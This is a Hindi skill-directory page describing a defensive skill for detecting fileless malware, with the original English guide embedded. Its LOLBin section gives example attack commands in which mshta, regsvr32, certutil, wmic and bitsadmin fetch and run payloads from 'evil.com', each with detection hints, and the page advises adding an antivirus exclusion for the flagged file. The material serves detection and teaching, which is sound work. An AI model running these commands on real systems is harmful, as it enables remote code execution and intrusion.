मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7831

detecting-fileless-malware-techniques

यह क्या करती है

यह टूल ऐसे खतरनाक प्रोग्रामों को ढूंढने और उनका विश्लेषण करने में मदद करता है जो डिस्क पर पारंपरिक फ़ाइलें इंस्टॉल किए बिना सीधे मेमोरी में चलते हैं। यह PowerShell और WMI जैसे Windows के सामान्य टूल का गलत इस्तेमाल करने वाली तकनीकों पर ध्यान देता है।

कब इस्तेमाल करें

  • ✓जब कोई सुरक्षा अलर्ट किसी सामान्य प्रोग्राम के असामान्य व्यवहार की ओर इशारा करे।
  • ✓ऐसे हमलों की जांच करते समय जो कंप्यूटर पर कोई फ़ाइल नहीं छोड़ते।
  • ✓यह समझने के लिए कि खतरनाक प्रोग्राम Windows registry में कैसे छिपते हैं या सिस्टम टूल का इस्तेमाल कैसे करते हैं।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/detecting-fileless-malware-techniques/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/detecting-fileless-malware-techniques/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“PowerShell या WMI जैसे प्रोग्रामों की ऐसी संदिग्ध गतिविधियाँ खोजो जो वहाँ नहीं होनी चाहिए।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

यह टूल PowerShell, WMI जैसे Windows के सामान्य प्रोग्रामों के इस्तेमाल और सिस्टम registry को जांचता है, ताकि उन पैटर्न का पता चले जो सिर्फ़ मेमोरी में काम करने वाले malware का संकेत देते हैं।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Detecting Fileless Malware Techniques

When to Use

  • EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
  • Investigating attacks that leave no traditional malware files on disk
  • Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
  • Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
  • Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Windows Defender / Antivirus False Positive

Some endpoint antivirus products — notably Windows Defender (signature Trojan:script/Wacatac.H!ml) — may quarantine this skill's SKILL.md as malicious. This is a known false positive: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.

If quarantined: restore the file from quarantine, add an exclusion for your local agent skills directory, and see GitHub issue #100 for discussion. YARA strings live in references/yara-fileless-powershell.yar (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.

Prerequisites

  • Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
  • PowerShell Script Block Logging and Module Logging enabled
  • Volatility 3 for memory forensics of fileless malware artifacts
  • Process Monitor (ProcMon) for real-time system activity monitoring
  • Windows Event Log access with adequate retention policies
  • Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations

Step 2: Detect WMI-Based Persistence

Analyze WMI event subscriptions used for fileless persistence:

# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

…
अक्सर पूछे जाने वाले सवाल

मेरा एंटीवायरस इस फ़ाइल को ब्लॉक कर रहा है। मुझे क्या करना चाहिए?

यह एक आम false positive है। यह फ़ाइल हमले की तकनीकों का दस्तावेज़ है ताकि बचाव में मदद मिले, यह कोई खतरनाक कोड नहीं चलाती। फ़ाइल को अपने एंटीवायरस की exclusion list में जोड़ दें और विस्तार के लिए दस्तावेज़ में दिए गए लिंक को देखें।

क्या इस्तेमाल के लिए कुछ इंस्टॉल करना होगा?

हाँ, पूरी जांच के लिए Sysmon, logging चालू वाला PowerShell और Volatility 3 जैसे टूल इंस्टॉल करने की सलाह दी जाती है, ताकि सिस्टम पर विस्तार से नज़र रखी और विश्लेषण किया जा सके।

क्या यह हर तरह के वायरस पकड़ता है?

नहीं, यह खास तौर पर मेमोरी में चलने वाले 'fileless' malware पर केंद्रित है। डिस्क पर फ़ाइलें इंस्टॉल करने वाले वायरस के लिए पारंपरिक विश्लेषण तरीके बेहतर होते हैं।

जानकारी

लेखक का मूल विवरण

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination. '

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7831
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills